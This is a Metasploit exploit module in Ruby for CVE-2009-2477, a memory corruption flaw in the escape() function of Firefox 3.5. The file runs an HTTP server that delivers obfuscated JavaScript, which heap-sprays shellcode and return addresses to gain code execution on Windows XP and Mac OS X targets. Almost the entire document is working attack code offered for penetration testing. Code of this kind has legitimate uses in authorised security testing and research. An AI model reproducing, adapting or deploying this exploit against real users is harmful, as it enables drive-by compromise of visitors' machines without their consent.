Path: blob/master/modules/exploits/multi/browser/firefox_escape_retval.rb
32436 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213# include Msf::Exploit::Remote::BrowserAutopwn14# autopwn_info({15# :ua_name => HttpClients::FF,16# :ua_minver => "3.5",17# :ua_maxver => "3.5",18# :os_name => OperatingSystems::Match::WINDOWS,19# :javascript => true,20# :rank => NormalRanking, # reliable memory corruption21# :vuln_test => nil,22# })2324def initialize(info = {})25super(26update_info(27info,28'Name' => 'Firefox 3.5 escape() Return Value Memory Corruption',29'Description' => %q{30This module exploits a memory corruption vulnerability in the Mozilla31Firefox browser. This flaw occurs when a bug in the javascript interpreter32fails to preserve the return value of the escape() function and results in33uninitialized memory being used instead. This module has only been tested34on Windows, but should work on other platforms as well with the current35targets.36},37'License' => MSF_LICENSE,38'Author' => [39'Simon Berry-Byrne <x00050876[at]itnet.ie>', # Author / Publisher / Original exploit40'hdm', # Metasploit conversion41],42'References' => [43['CVE', '2009-2477'],44['OSVDB', '55846'],45['BID', '35660'],46['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=503286']47],48'Payload' => {49'Space' => 1000 + (rand(256).to_i * 4),50'BadChars' => "\x00"51},52'Targets' => [53[54'Firefox 3.5.0 on Windows XP SP0-SP3',55{56'Platform' => 'win',57'Arch' => ARCH_X86,58'Ret' => 0x0c0c0c0c,59'BlockLen' => 0x60000,60'Containers' => 80061}62],63[64'Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)',65{66'Platform' => 'osx',67'Arch' => ARCH_X86,68'Ret' => 0x41414141,69'BlockLen' => 496,70'Containers' => 80000071}72]73],74'DefaultTarget' => 0,75'DisclosureDate' => '2009-07-13',76'Notes' => {77'Reliability' => UNKNOWN_RELIABILITY,78'Stability' => UNKNOWN_STABILITY,79'SideEffects' => UNKNOWN_SIDE_EFFECTS80}81)82)83end8485def on_request_uri(cli, _request)86# Re-generate the payload87return if ((p = regenerate_payload(cli)).nil?)8889print_status("Sending #{name}")90send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html; charset=utf-8' })91handler(cli)92end9394def generate_html(payload)95enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))96Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))97enc_ret = Rex::Text.to_unescape(98Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target.ret].pack('V') : [target.ret].pack('N')99)100101var_data_str1 = Rex::Text.rand_text_alpha(3)102var_data_str2 = Rex::Text.rand_text_alpha(4)103js = <<~EOF104var xunescape = unescape;105var shellcode = xunescape("#{enc_code}");106107oneblock = xunescape("#{enc_ret}");108109var fullblock = oneblock;110while (fullblock.length < #{target['BlockLen']})111{112fullblock += fullblock;113}114115var sprayContainer = new Array();116var sprayready = false;117var sprayContainerIndex = 0;118119function fill_function()120{121if(! sprayready) {122for (xi=0; xi<#{target['Containers']}/100; xi++, sprayContainerIndex++)123{124sprayContainer[sprayContainerIndex] = fullblock + shellcode;125}126} else {127DataTranslator();128GenerateHTML();129}130if(sprayContainer.length >= #{target['Containers']}) {131sprayready = true;132}133}134135var searchArray = new Array();136137function escapeData(data)138{139var xi;140var xc;141var escData='';142for(xi=0; xi<data.length; xi++)143{144xc=data.charAt(xi);145if(xc=='&' || xc=='?' || xc=='=' || xc=='%' || xc==' ') xc = escape(xc);146escData+=xc;147}148return escData;149}150151function DataTranslator()152{153searchArray = new Array();154searchArray[0] = new Array();155searchArray[0]["#{var_data_str1}"] = "#{var_data_str2}";156var newElement = document.getElementById("content");157if (document.getElementsByTagName) {158var xi=0;159pTags = newElement.getElementsByTagName("p");160if (pTags.length > 0)161while (xi < pTags.length)162{163oTags = pTags[xi].getElementsByTagName("font");164searchArray[xi+1] = new Array();165if (oTags[0]) {166searchArray[xi+1]["#{var_data_str1}"] = oTags[0].innerHTML;167}168xi++;169}170}171}172173function GenerateHTML()174{175var xhtml = "";176for (xi=1;xi<searchArray.length;xi++)177{178xhtml += escapeData(searchArray[xi]["#{var_data_str1}"]);179}180}181182setInterval("fill_function()", .5);183EOF184185# Obfuscate it up a bit186js = obfuscate_js(js, 'Symbols' => {187'Variables' => %w[188DataTranslator GenerateHTML escapeData xunescape189shellcode oneblock fullblock sprayContainer xi searchArray xc190escData xhtml pTags oTags newElement sprayready sprayContainerIndex191fill_function192]193}).to_s194195str1 = Rex::Text.rand_text_alpha(20)196str2 = Rex::Text.rand_text_alpha(24)197str3 = Rex::Text.rand_text_alpha(10) + ' '198199return %(200<html>201<head>202<div id="content">203<p>204<FONT>205</FONT>206</p>207<p>208<FONT>#{str1}</FONT></p>209<p>210<FONT>#{str2}</FONT>211</p>212<p>213<FONT>#{str3}</FONT>214</p>215</div>216<script language="JavaScript">217#{js}218</script>219</body>220</html>221)222end223end224225226